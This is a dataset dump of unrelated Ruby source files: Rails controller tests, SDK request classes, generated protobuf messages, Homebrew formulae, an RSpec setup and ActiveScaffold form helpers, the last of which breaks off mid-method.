get :switch_original_topic_to_approved_suggested_topic, params, session
expect(response).to redirect_to('/sign_up_sheet/list?id=1')
end
end
end
| 46.742981 | 154 | 0.661492 |
1c0308a66bf3267b3ce45bc056994d75ae057966 | 163 | require 'test_helper'
class ProblemsControllerTest < ActionController::TestCase
test "should get edit" do
get :edit
assert_response :success
end
end
| 16.3 | 57 | 0.754601 |
039cf05ea74bf8919c0fb5c427bad1801fd266f0 | 701 | require 'test_helper'
class StaticPagesControllerTest < ActionDispatch::IntegrationTest
def setup
@base_title = "Ruby on Rails Tutorial Sample App"
end
test "should get home" do
get root_path
assert_response :success
assert_select "title", "#{@base_title}"
end
test "should get help" do
get help_url
assert_response :success
assert_select "title", "Help | #{@base_title}"
end
test "should get about" do
get about_url
assert_response :success
assert_select "title", "About | #{@base_title}"
end
test "should get contact" do
get contact_url
assert_response :success
assert_select "title", "Contact | #{@base_title}"
end
end
| 21.90625 | 65 | 0.693295 |
f70a754fff1b556874bae8a21200cbefc35efba8 | 832 | require 'rails_helper'
describe UsersController do
before do
@user = User.create!(user_attributes)
end
context "when not signed in" do
before do
session[:user_id] = nil
end
it "cannot access index" do
get :index
expect(response).to redirect_to(new_session_url)
end
it "cannot access show" do
get :show, id: @user
expect(response).to redirect_to(new_session_url)
end
it "cannot access edit" do
get :edit, id: @user
expect(response).to redirect_to(new_session_url)
end
it "cannot access update" do
patch :update, id: @user
expect(response).to redirect_to(new_session_url)
end
it "cannot access destroy" do
delete :destroy, id: @user
expect(response).to redirect_to(new_session_url)
end
end
end | 18.086957 | 54 | 0.652644 |
9159183dd4315cd958a84c6cb926db7282f150e7 | 947 | module PROIEL::Valency::Obliqueness
# Sorts frames by obliqueness
def self.sort_frames(frames)
# Sort frames by obliqueness, then by inspecting them so that we get
# a stable, reproducible order.
frames.sort_by { |frame| [obliqueness_of_arguments(frame[:arguments]).sort, frame.inspect] }
end
# Sorts arguments by obliqueness
def self.sort_arguments(arguments)
arguments.sort_by { |argument| obliqueness_of_argument(argument) }
end
private
def self.obliqueness_of_arguments(arguments)
arguments.map do |argument|
obliqueness_of_argument(argument)
end
end
def self.obliqueness_of_argument(argument)
obliqueness_of_relation(argument[:relation]) * 2 + (argument[:lemma].nil? ? 0 : 1)
end
OBLIQUENESS_HIERARCHY = %w(sub ag obj xobj arg obl comp narg).freeze
def self.obliqueness_of_relation(relation)
OBLIQUENESS_HIERARCHY.index(relation) || OBLIQUENESS_HIERARCHY.length
end
end
| 29.59375 | 96 | 0.749736 |
e8850c3cc66327ac0f444e05248b956fc0ba8e2f | 456 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::NetApp::Mgmt::V2019_11_01
module Models
#
# Defines values for ReplicationSchedule
#
module ReplicationSchedule
_10minutely = "_10minutely"
Hourly = "hourly"
Daily = "daily"
Weekly = "weekly"
Monthly = "monthly"
end
end
end
| 22.8 | 70 | 0.675439 |
1d5e5a10d12e81e918e8d3eed235a9a7705b2a9c | 277 | module CampusSolutions
module WorkExperienceUpdatingModel
def passthrough(model_name, params)
proxy = model_name.new({user_id: @uid, params: params})
result = proxy.get
HubEdos::StudentApi::V2::WorkExperiences.expire @uid
result
end
end
end
| 25.181818 | 61 | 0.707581 |
263b921d560e69459bdab28fb7d7497929d0b09d | 4,900 | # ----------------------------------------------------------------------------
# <copyright company="Aspose" file="create_visual_object_bounds_request.rb">
# Copyright (c) 2018-2020 Aspose Pty Ltd. All rights reserved.
# </copyright>
# <summary>
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
# </summary>
# ----------------------------------------------------------------------------
require_relative './imaging_request'
require_relative './http_request'
module AsposeImagingCloud
# Request model for create_visual_object_bounds operation.
class CreateVisualObjectBoundsRequest < ImagingRequest
# Detects objects bounds and draw them on the original image. Image data is passed as zero-indexed multipart/form-data content or as raw body stream
# @param [File] image_data Input image
# @param [String] method Object detection method
# @param [Integer] threshold Object detection probability threshold in percents
# @param [BOOLEAN] include_label Draw detected objects classes
# @param [BOOLEAN] include_score Draw detected objects scores
# @param [String] allowed_labels Comma-separated list of allowed labels
# @param [String] blocked_labels Comma-separated list of blocked labels
# @param [String] color Bounds, labels, and scores text color
# @param [String] out_path Path to updated file (if this is empty, response contains streamed image)
# @param [String] storage Your Aspose Cloud Storage name.
def initialize(image_data, method = nil, threshold = nil, include_label = nil, include_score = nil, allowed_labels = nil, blocked_labels = nil, color = nil, out_path = nil, storage = nil)
@image_data = image_data
@method = method
@threshold = threshold
@include_label = include_label
@include_score = include_score
@allowed_labels = allowed_labels
@blocked_labels = blocked_labels
@color = color
@out_path = out_path
@storage = storage
end
def to_http_info(config)
# verify the required parameter 'image_data' is set
if config.client_side_validation && @image_data.nil?
raise ArgumentError, "Missing the required parameter 'image_data' when calling ImagingApi.create_visual_object_bounds"
end
# resource path
local_var_path = '/imaging/ai/objectdetection/visualbounds'
# query parameters
query_params = {}
query_params[:method] = @method unless @method.nil?
query_params[:threshold] = @threshold unless @threshold.nil?
query_params[:includeLabel] = @include_label unless @include_label.nil?
query_params[:includeScore] = @include_score unless @include_score.nil?
query_params[:allowedLabels] = @allowed_labels unless @allowed_labels.nil?
query_params[:blockedLabels] = @blocked_labels unless @blocked_labels.nil?
query_params[:color] = @color unless @color.nil?
query_params[:outPath] = @out_path unless @out_path.nil?
query_params[:storage] = @storage unless @storage.nil?
# form parameters
form_params = {}
form_params['imageData'] = @image_data
# http body (model)
post_body = nil
auth_names = ['JWT']
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = select_header_accept(['application/json'])
# HTTP header 'Content-Type'
header_params['Content-Type'] = form_params.any? ? 'multipart/form-data' : select_header_content_type(['multipart/form-data'])
AsposeImagingCloud::HttpRequest.new(local_var_path,
header_params,
query_params,
form_params,
post_body,
auth_names)
end
end
end
| 47.572816 | 191 | 0.673673 |
bf59acd19fe9741e0151c5b5124f097545cae17c | 8,051 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/cloud/aiplatform/v1/model_service.proto
require 'google/api/annotations_pb'
require 'google/api/client_pb'
require 'google/api/field_behavior_pb'
require 'google/api/resource_pb'
require 'google/cloud/aiplatform/v1/io_pb'
require 'google/cloud/aiplatform/v1/model_pb'
require 'google/cloud/aiplatform/v1/model_evaluation_pb'
require 'google/cloud/aiplatform/v1/model_evaluation_slice_pb'
require 'google/cloud/aiplatform/v1/operation_pb'
require 'google/longrunning/operations_pb'
require 'google/protobuf/field_mask_pb'
require 'google/protobuf'
Google::Protobuf::DescriptorPool.generated_pool.build do
add_file("google/cloud/aiplatform/v1/model_service.proto", :syntax => :proto3) do
add_message "google.cloud.aiplatform.v1.UploadModelRequest" do
optional :parent, :string, 1
optional :model, :message, 2, "google.cloud.aiplatform.v1.Model"
end
add_message "google.cloud.aiplatform.v1.UploadModelOperationMetadata" do
optional :generic_metadata, :message, 1, "google.cloud.aiplatform.v1.GenericOperationMetadata"
end
add_message "google.cloud.aiplatform.v1.UploadModelResponse" do
optional :model, :string, 1
end
add_message "google.cloud.aiplatform.v1.GetModelRequest" do
optional :name, :string, 1
end
add_message "google.cloud.aiplatform.v1.ListModelsRequest" do
optional :parent, :string, 1
optional :filter, :string, 2
optional :page_size, :int32, 3
optional :page_token, :string, 4
optional :read_mask, :message, 5, "google.protobuf.FieldMask"
optional :order_by, :string, 6
end
add_message "google.cloud.aiplatform.v1.ListModelsResponse" do
repeated :models, :message, 1, "google.cloud.aiplatform.v1.Model"
optional :next_page_token, :string, 2
end
add_message "google.cloud.aiplatform.v1.UpdateModelRequest" do
optional :model, :message, 1, "google.cloud.aiplatform.v1.Model"
optional :update_mask, :message, 2, "google.protobuf.FieldMask"
end
add_message "google.cloud.aiplatform.v1.DeleteModelRequest" do
optional :name, :string, 1
end
add_message "google.cloud.aiplatform.v1.ExportModelRequest" do
optional :name, :string, 1
optional :output_config, :message, 2, "google.cloud.aiplatform.v1.ExportModelRequest.OutputConfig"
end
add_message "google.cloud.aiplatform.v1.ExportModelRequest.OutputConfig" do
optional :export_format_id, :string, 1
optional :artifact_destination, :message, 3, "google.cloud.aiplatform.v1.GcsDestination"
optional :image_destination, :message, 4, "google.cloud.aiplatform.v1.ContainerRegistryDestination"
end
add_message "google.cloud.aiplatform.v1.ExportModelOperationMetadata" do
optional :generic_metadata, :message, 1, "google.cloud.aiplatform.v1.GenericOperationMetadata"
optional :output_info, :message, 2, "google.cloud.aiplatform.v1.ExportModelOperationMetadata.OutputInfo"
end
add_message "google.cloud.aiplatform.v1.ExportModelOperationMetadata.OutputInfo" do
optional :artifact_output_uri, :string, 2
optional :image_output_uri, :string, 3
end
add_message "google.cloud.aiplatform.v1.ExportModelResponse" do
end
add_message "google.cloud.aiplatform.v1.ImportModelEvaluationRequest" do
optional :parent, :string, 1
optional :model_evaluation, :message, 2, "google.cloud.aiplatform.v1.ModelEvaluation"
end
add_message "google.cloud.aiplatform.v1.GetModelEvaluationRequest" do
optional :name, :string, 1
end
add_message "google.cloud.aiplatform.v1.ListModelEvaluationsRequest" do
optional :parent, :string, 1
optional :filter, :string, 2
optional :page_size, :int32, 3
optional :page_token, :string, 4
optional :read_mask, :message, 5, "google.protobuf.FieldMask"
end
add_message "google.cloud.aiplatform.v1.ListModelEvaluationsResponse" do
repeated :model_evaluations, :message, 1, "google.cloud.aiplatform.v1.ModelEvaluation"
optional :next_page_token, :string, 2
end
add_message "google.cloud.aiplatform.v1.GetModelEvaluationSliceRequest" do
optional :name, :string, 1
end
add_message "google.cloud.aiplatform.v1.ListModelEvaluationSlicesRequest" do
optional :parent, :string, 1
optional :filter, :string, 2
optional :page_size, :int32, 3
optional :page_token, :string, 4
optional :read_mask, :message, 5, "google.protobuf.FieldMask"
end
add_message "google.cloud.aiplatform.v1.ListModelEvaluationSlicesResponse" do
repeated :model_evaluation_slices, :message, 1, "google.cloud.aiplatform.v1.ModelEvaluationSlice"
optional :next_page_token, :string, 2
end
end
end
module Google
module Cloud
module AIPlatform
module V1
UploadModelRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.UploadModelRequest").msgclass
UploadModelOperationMetadata = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.UploadModelOperationMetadata").msgclass
UploadModelResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.UploadModelResponse").msgclass
GetModelRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.GetModelRequest").msgclass
ListModelsRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.ListModelsRequest").msgclass
ListModelsResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.ListModelsResponse").msgclass
UpdateModelRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.UpdateModelRequest").msgclass
DeleteModelRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.DeleteModelRequest").msgclass
ExportModelRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.ExportModelRequest").msgclass
ExportModelRequest::OutputConfig = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.ExportModelRequest.OutputConfig").msgclass
ExportModelOperationMetadata = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.ExportModelOperationMetadata").msgclass
ExportModelOperationMetadata::OutputInfo = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.ExportModelOperationMetadata.OutputInfo").msgclass
ExportModelResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.ExportModelResponse").msgclass
ImportModelEvaluationRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.ImportModelEvaluationRequest").msgclass
GetModelEvaluationRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.GetModelEvaluationRequest").msgclass
ListModelEvaluationsRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.ListModelEvaluationsRequest").msgclass
ListModelEvaluationsResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.ListModelEvaluationsResponse").msgclass
GetModelEvaluationSliceRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.GetModelEvaluationSliceRequest").msgclass
ListModelEvaluationSlicesRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.ListModelEvaluationSlicesRequest").msgclass
ListModelEvaluationSlicesResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.aiplatform.v1.ListModelEvaluationSlicesResponse").msgclass
end
end
end
end
| 60.533835 | 186 | 0.770339 |
6a72c2999b0b1206d32b2243effd614529b912ba | 1,202 | class TaskwarriorTui < Formula
desc "Terminal user interface for taskwarrior"
homepage "https://github.com/kdheepak/taskwarrior-tui"
url "https://github.com/kdheepak/taskwarrior-tui/archive/v0.9.2.tar.gz"
sha256 "dd37dc4536afecd2875517ddb5588f3c8313bac2f3e76ef12f621f38c146fd6a"
license "MIT"
head "https://github.com/kdheepak/taskwarrior-tui.git"
livecheck do
url "https://github.com/kdheepak/taskwarrior-tui/releases/latest"
regex(%r{href=.*?/tag/v?(\d+(?:\.\d+)+)["' >]}i)
end
bottle do
cellar :any_skip_relocation
sha256 "f2044efc86d463a6b4f595df446093fc606eb578b9aa0ec3716a0a3e112cd422" => :catalina
sha256 "78e0711a52ba958b29d2b2c5ab74730d58d68134eec1d1cf65bcb1c82dbc4a53" => :mojave
sha256 "7f3b4bb18e1c381b811e66462153e27f4640790f277b7d53912744257ec4c6df" => :high_sierra
end
depends_on "rust" => :build
depends_on "task"
def install
system "cargo", "install", *std_cargo_args
end
test do
assert_match version.to_s, shell_output("#{bin}/taskwarrior-tui --version")
assert_match "The argument '--config <FILE>' requires a value but none was supplied",
shell_output("#{bin}/taskwarrior-tui --config 2>&1", 1)
end
end
| 35.352941 | 93 | 0.74376 |
abca138de9722f2dc545f1673fee926597451700 | 1,432 | require File.expand_path("../../Abstract/abstract-php-extension", __FILE__)
class Php71Intl < AbstractPhp71Extension
init
desc "Wrapper for the ICU library"
homepage "http://php.net/manual/en/book.intl.php"
revision 7
bottle do
sha256 "8baf31d4e9a6739bc509624ef3c63f7a696eb8d1912cb1c586931a67c6d8d853" => :sierra
sha256 "d5ea87b764d5e65d371ceef22aea28487f787bd66dc425fe6f0fc968659a08e7" => :el_capitan
sha256 "43f774eb48670512706050f075f78aa79ec3c0d1903a9b4f1ae961328750ac7c" => :yosemite
end
url PHP_SRC_TARBALL
sha256 PHP_CHECKSUM[:sha256]
version PHP_VERSION
depends_on "icu4c"
def install
Dir.chdir "ext/intl"
ENV.universal_binary if build.universal?
safe_phpize
system "./configure", "--prefix=#{prefix}",
phpconfig,
"--disable-dependency-tracking",
"--enable-intl",
"--with-icu-dir=#{Formula["icu4c"].prefix}"
system "make"
prefix.install "modules/intl.so"
write_config_file if build.with? "config-file"
end
def config_file
super + <<-EOS.undent
;intl.default_locale =
; This directive allows you to produce PHP errors when some error
; happens within intl functions. The value is the level of the error produced.
; Default is 0, which does not produce any errors.
;intl.error_level = E_WARNING
EOS
end
end
| 29.833333 | 92 | 0.677374 |
4aa0b3e07b1a78b35c40e4329568650017d2cd8b | 3,055 | # Reference: https://github.com/macvim-dev/macvim/wiki/building
class Macvim < Formula
desc "GUI for vim, made for macOS"
homepage "https://github.com/macvim-dev/macvim"
url "https://github.com/macvim-dev/macvim/archive/snapshot-151.tar.gz"
version "8.1-151"
sha256 "4752e150ac509f19540c0f292eda9bf435b8986138514ad2e1970cc82a2ba4fc"
revision 1
head "https://github.com/macvim-dev/macvim.git"
bottle do
sha256 "b91f74647952e23ce282434cedba5a9b68827154fefadb7a8d830092d8e1ebf3" => :mojave
sha256 "ac00679028cca7e67910f090f0166db17d28e41a7569e2198e188264e13d6d0d" => :high_sierra
sha256 "89d6cc87a52a85d22fb6c23d0218977d1e35bde7c21f6425c8d10edf9f5da3d5" => :sierra
end
depends_on :xcode => :build
depends_on "cscope"
depends_on "lua"
depends_on "luajit"
depends_on "python"
def install
# Avoid issues finding Ruby headers
if MacOS.version == :sierra || MacOS.version == :yosemite
ENV.delete("SDKROOT")
end
# MacVim doesn't have or require any Python package, so unset PYTHONPATH
ENV.delete("PYTHONPATH")
# If building for OS X 10.7 or up, make sure that CC is set to "clang"
ENV.clang if MacOS.version >= :lion
system "./configure", "--with-features=huge",
"--enable-multibyte",
"--with-macarchs=#{MacOS.preferred_arch}",
"--enable-perlinterp",
"--enable-rubyinterp",
"--enable-tclinterp",
"--enable-terminal",
"--with-tlib=ncurses",
"--with-compiledby=Homebrew",
"--with-local-dir=#{HOMEBREW_PREFIX}",
"--enable-cscope",
"--enable-luainterp",
"--with-lua-prefix=#{Formula["lua"].opt_prefix}",
"--enable-luainterp",
"--with-lua-prefix=#{Formula["luajit"].opt_prefix}",
"--with-luajit",
"--enable-python3interp"
system "make"
prefix.install "src/MacVim/build/Release/MacVim.app"
bin.install_symlink prefix/"MacVim.app/Contents/bin/mvim"
# Create MacVim vimdiff, view, ex equivalents
executables = %w[mvimdiff mview mvimex gvim gvimdiff gview gvimex]
executables += %w[vi vim vimdiff view vimex]
executables.each { |e| bin.install_symlink "mvim" => e }
end
test do
output = shell_output("#{bin}/mvim --version")
assert_match "+ruby", output
# Simple test to check if MacVim was linked to Homebrew's Python 3
py3_exec_prefix = Utils.popen_read("python3-config", "--exec-prefix")
assert_match py3_exec_prefix.chomp, output
(testpath/"commands.vim").write <<~EOS
:python3 import vim; vim.current.buffer[0] = 'hello python3'
:wq
EOS
system bin/"mvim", "-v", "-T", "dumb", "-s", "commands.vim", "test.txt"
assert_equal "hello python3", (testpath/"test.txt").read.chomp
end
end
| 39.166667 | 93 | 0.611129 |
ed1e32be8187fe0f8f6df3a7b15b6e564d4e02a1 | 840 | module ClickTracksHelper
def stat_by(start_date, end_date)
start_date ||= 1.month.ago
end_date ||= Time.current
line_chart by_day_api_item_click_tracks_path(@item, start_date: start_date, end_date: end_date),
basic_opts('Click count', start_date, end_date)
end
private
def basic_opts(title, start_date, end_date)
{
discrete: true,
library: {
title: {text: title, x: -20},
subtitle: {text: "from #{l(start_date, format: :medium)} to #{l(end_date, format: :medium)}", x: -20},
yAxis: {
title: {
text: 'Count'
}
},
tooltip: {
valueSuffix: 'click(s)'
},
credits: {
enabled: false
}
}
}
end
end | 27.096774 | 114 | 0.505952 |
5d8025473634f89990347dd236b5e0b2e908efc5 | 2,932 | # This file is copied to spec/ when you run 'rails generate rspec:install'
ENV['RAILS_ENV'] ||= 'test'
require File.expand_path('../../config/environment', __FILE__)
# Prevent database truncation if the environment is production
abort("The Rails environment is running in production mode!") if Rails.env.production?
require 'spec_helper'
require 'rspec/rails'
# Add additional requires below this line. Rails is not loaded until this point!
# Requires supporting ruby files with custom matchers and macros, etc, in
# spec/support/ and its subdirectories. Files matching `spec/**/*_spec.rb` are
# run as spec files by default. This means that files in spec/support that end
# in _spec.rb will both be required and run as specs, causing the specs to be
# run twice. It is recommended that you do not name files matching this glob to
# end with _spec.rb. You can configure this pattern with the --pattern
# option on the command line or in ~/.rspec, .rspec or `.rspec-local`.
#
# The following line is provided for convenience purposes. It has the downside
# of increasing the boot-up time by auto-requiring all files in the support
# directory. Alternatively, in the individual `*_spec.rb` files, manually
# require only the support files necessary.
#
# Dir[Rails.root.join('spec/support/**/*.rb')].each { |f| require f }
# Checks for pending migration and applies them before tests are run.
# If you are not using ActiveRecord, you can remove this line.
ActiveRecord::Migration.maintain_test_schema!
RSpec.configure do |config|
# Remove this line if you're not using ActiveRecord or ActiveRecord fixtures
config.fixture_path = "#{::Rails.root}/spec/fixtures"
# If you're not using ActiveRecord, or you'd prefer not to run each of your
# examples within a transaction, remove the following line or assign false
# instead of true.
config.use_transactional_fixtures = true
config.before(:suite) do
DatabaseCleaner.clean_with(:deletion)
end
# RSpec Rails can automatically mix in different behaviours to your tests
# based on their file location, for example enabling you to call `get` and
# `post` in specs under `spec/controllers`.
#
# You can disable this behaviour by removing the line below, and instead
# explicitly tag your specs with their type, e.g.:
#
# RSpec.describe UsersController, :type => :controller do
# # ...
# end
#
# The different available types are documented in the features, such as in
# https://relishapp.com/rspec/rspec-rails/docs
config.infer_spec_type_from_file_location!
# Filter lines from Rails gems in backtraces.
config.filter_rails_from_backtrace!
# arbitrary gems may also be filtered via:
# config.filter_gems_from_backtrace("gem name")
end
# rails_helper.rb
require 'shoulda/matchers'
Shoulda::Matchers.configure do |config|
config.integrate do |with|
with.test_framework :rspec
with.library :rails
end
end
| 40.164384 | 86 | 0.748977 |
28800eb3aa99f47904dc7f04f47e916762c81e85 | 134 | Spree::Role.class_eval do
class << self
define_method :affiliate do
find_or_create_by(name: :affiliate)
end
end
end
| 16.75 | 41 | 0.69403 |
6aa664254c75805c4d1c695adc2b68e81501294f | 97 | # frozen_string_literal: true
require 'mkmf'
create_makefile('fast_underscore/fast_underscore')
| 19.4 | 50 | 0.835052 |
7ac4b9519ca45a3840c2e72a16a614202a1a61c3 | 279 | class AddDischargeReasonCodeToUKRDCTreatments < ActiveRecord::Migration[5.2]
def change
within_renalware_schema do
add_column :ukrdc_treatments, :discharge_reason_code, :integer
add_column :ukrdc_treatments, :discharge_reason_comment, :string
end
end
end
| 31 | 76 | 0.78853 |
1ccbf2e0d16803d989b849fc5e565975ac9a6179 | 37,063 | module ActiveScaffold
module Helpers
# Helpers that assist with the rendering of a Form Column
module FormColumnHelpers
# This method decides which input to use for the given column.
# It does not do any rendering. It only decides which method is responsible for rendering.
def active_scaffold_input_for(column, scope = nil, options = nil)
options ||= active_scaffold_input_options(column, scope)
options = update_columns_options(column, scope, options)
active_scaffold_render_input(column, options)
end
def active_scaffold_render_input(column, options)
record = options[:object]
# first, check if the dev has created an override for this specific field
if (method = override_form_field(column))
send(method, record, options)
# second, check if the dev has specified a valid form_ui for this column
elsif column.form_ui && (method = override_input(column.form_ui))
send(method, column, options)
elsif column.association
# if we get here, it's because the column has a form_ui but not one ActiveScaffold knows about.
raise "Unknown form_ui `#{column.form_ui}' for column `#{column.name}'" if column.form_ui
# its an association and nothing is specified, we will assume form_ui :select
active_scaffold_input_select(column, options)
elsif column.virtual?
options[:value] = format_number_value(record.send(column.name), column.options) if column.number?
active_scaffold_input_virtual(column, options)
elsif (method = override_input(column.column.type)) # regular model attribute column
# if we (or someone else) have created a custom render option for the column type, use that
send(method, column, options)
else # final ultimate fallback: use rails' generic input method
# for textual fields we pass different options
text_types = %i[text string integer float decimal]
options = active_scaffold_input_text_options(options) if text_types.include?(column.column.type)
if column.column.type == :string && options[:maxlength].blank?
options[:maxlength] = column.column.limit
options[:size] ||= options[:maxlength].to_i > 30 ? 30 : options[:maxlength]
end
options[:value] = format_number_value(record.send(column.name), column.options) if column.number?
text_field(:record, column.name, options.merge(column.options).except(:format))
end
rescue StandardError => e
logger.error "#{e.class.name}: #{e.message} -- on the ActiveScaffold column = :#{column.name} in #{controller.class}"
raise e
end
def active_scaffold_render_subform_column(column, scope, crud_type, readonly, add_class = false, record = nil) # rubocop:disable Metrics/ParameterLists
if add_class
col_class = []
col_class << 'required' if column.required?
col_class << column.css_class unless column.css_class.nil? || column.css_class.is_a?(Proc)
col_class << 'hidden' if column_renders_as(column) == :hidden
col_class << 'checkbox' if column.form_ui == :checkbox
col_class = col_class.join(' ')
end
if readonly && !record.new_record? || !record.authorized_for?(:crud_type => crud_type, :column => column.name)
form_attribute(column, record, scope, true, col_class)
else
renders_as = column_renders_as(column)
html = render_column(column, record, renders_as, scope, false, col_class)
html = content_tag(:div, html, active_scaffold_subform_attributes(column)) if renders_as == :subform
html
end
end
def active_scaffold_subform_attributes(column, column_css_class = nil, klass = nil)
{
:class => "sub-form #{active_scaffold_config_for(klass || column.association.klass).subform.layout}-sub-form #{column_css_class} #{column.name}-sub-form",
:id => sub_form_id(:association => column.name)
}
end
# the standard active scaffold options used for textual inputs
def active_scaffold_input_text_options(options = {})
options[:autocomplete] ||= 'off'
options[:class] = "#{options[:class]} text-input".strip
options
end
# the standard active scaffold options used for class, name and scope
def active_scaffold_input_options(column, scope = nil, options = {})
name = scope ? "record#{scope}[#{column.name}]" : "record[#{column.name}]"
record = options[:object]
# Add some HTML5 attributes for in-browser validation and better user experience
if column.required? && (!@disable_required_for_new || scope.nil? || record&.persisted?)
options[:required] = true
end
options[:placeholder] = column.placeholder if column.placeholder.present?
# Fix for keeping unique IDs in subform
id_control = "record_#{column.name}_#{[params[:eid], params[:parent_id] || params[:id]].compact.join '_'}"
id_control += scope_id(scope) if scope
classes = "#{column.name}-input"
classes += ' numeric-input' if column.number?
{:name => name, :class => classes, :id => id_control}.merge(options)
end
def current_form_columns(record, scope, subform_controller = nil)
if scope
subform_controller.active_scaffold_config.subform.columns.visible_columns_names
elsif %i[new create edit update render_field].include? action_name.to_sym
# disable update_columns for inplace_edit (GET render_field)
return if action_name == 'render_field' && request.get?
active_scaffold_config.send(record.new_record? ? :create : :update).columns.visible_columns_names
end
end
def update_columns_options(column, scope, options, force = false)
record = options[:object]
subform_controller = controller.class.active_scaffold_controller_for(record.class) if scope
if @main_columns && (scope.nil? || subform_controller == controller.class)
form_columns = @main_columns.visible_columns_names
end
form_columns ||= current_form_columns(record, scope, subform_controller)
if force || (form_columns && column.update_columns && (column.update_columns & form_columns).present?)
url_params = params_for(:action => 'render_field', :column => column.name, :id => record.to_param)
if nested? && scope
url_params[:nested] = url_params.slice(:parent_scaffold, :association, nested.param_name)
url_params = url_params.except(:parent_scaffold, :association, nested.param_name)
end
if scope
url_params[:parent_controller] ||= url_params[:controller].gsub(%r{^/}, '')
url_params[:controller] = subform_controller.controller_path
url_params[:scope] = scope
url_params[:parent_id] = params[:parent_id] || params[:id]
end
options[:class] = "#{options[:class]} update_form".strip
options['data-update_url'] = url_for(url_params)
options['data-update_send_form'] = column.send_form_on_update_column
options['data-update_send_form_selector'] = column.options[:send_form_selector] if column.options[:send_form_selector]
end
options
end
def field_attributes(column, record)
{}
end
def render_column(column, record, renders_as, scope = nil, only_value = false, col_class = nil) # rubocop:disable Metrics/ParameterLists
if (partial = override_form_field_partial(column))
render :partial => partial, :locals => {:column => column, :only_value => only_value, :scope => scope, :col_class => col_class, :record => record}
elsif renders_as == :field || override_form_field?(column)
form_attribute(column, record, scope, only_value, col_class)
elsif renders_as == :subform
render :partial => 'form_association', :locals => {:column => column, :scope => scope, :parent_record => record}
else
form_hidden_attribute(column, record, scope)
end
end
def form_attribute(column, record, scope = nil, only_value = false, col_class = nil)
column_options = active_scaffold_input_options(column, scope, :object => record)
attributes = field_attributes(column, record)
attributes[:class] = "#{attributes[:class]} #{col_class}" if col_class.present?
if only_value
field = content_tag(:span, get_column_value(record, column), column_options.except(:name, :object))
if column.association.nil? || column.association.belongs_to?
# hidden field probably not needed, but leaving it just in case
# but it isn't working for assocations which are not belongs_to
method = column.association ? column.association.foreign_key : column.name
field << hidden_field(:record, method, column_options)
end
else
field = active_scaffold_input_for column, scope, column_options
end
if field
field << loading_indicator_tag(:action => :render_field, :id => params[:id]) if column.update_columns
field << content_tag(:span, column.description, :class => 'description') if column.description.present?
end
content_tag :dl, attributes do
content_tag(:dt, label_tag(label_for(column, column_options), form_column_label(column))) <<
content_tag(:dd, field)
end
end
def label_for(column, options)
options[:id] unless column.form_ui == :select && column.association&.collection?
end
def form_column_label(column)
column.label
end
def subform_label(column, hidden)
column.label unless hidden
end
def form_hidden_attribute(column, record, scope = nil)
content_tag :dl, style: 'display: none' do
content_tag(:dt, '') <<
content_tag(:dd, form_hidden_field(column, record, scope))
end
end
def form_hidden_field(column, record, scope)
options = active_scaffold_input_options(column, scope)
if column.association&.collection?
associated = record.send(column.name)
if associated.blank?
hidden_field_tag options[:name], '', options
else
options[:name] += '[]'
fields = associated.map do |r|
hidden_field_tag options[:name], r.id, options.merge(id: options[:id] + "_#{r.id}")
end
safe_join fields, ''
end
elsif column.association
hidden_field_tag options[:name], record.send(column.name)&.id, options
else
hidden_field :record, column.name, options.merge(object: record)
end
end
# Should this column be displayed in the subform?
def in_subform?(column, parent_record, parent_column)
return true unless column.association
if column.association.reverse.nil?
# Polymorphic associations can't appear because they *might* be the reverse association
return false if column.association.polymorphic?
# A column shouldn't be in the subform if it's the reverse association to the parent
!column.association.inverse_for?(parent_record.class)
elsif column.association.reverse == parent_column.name
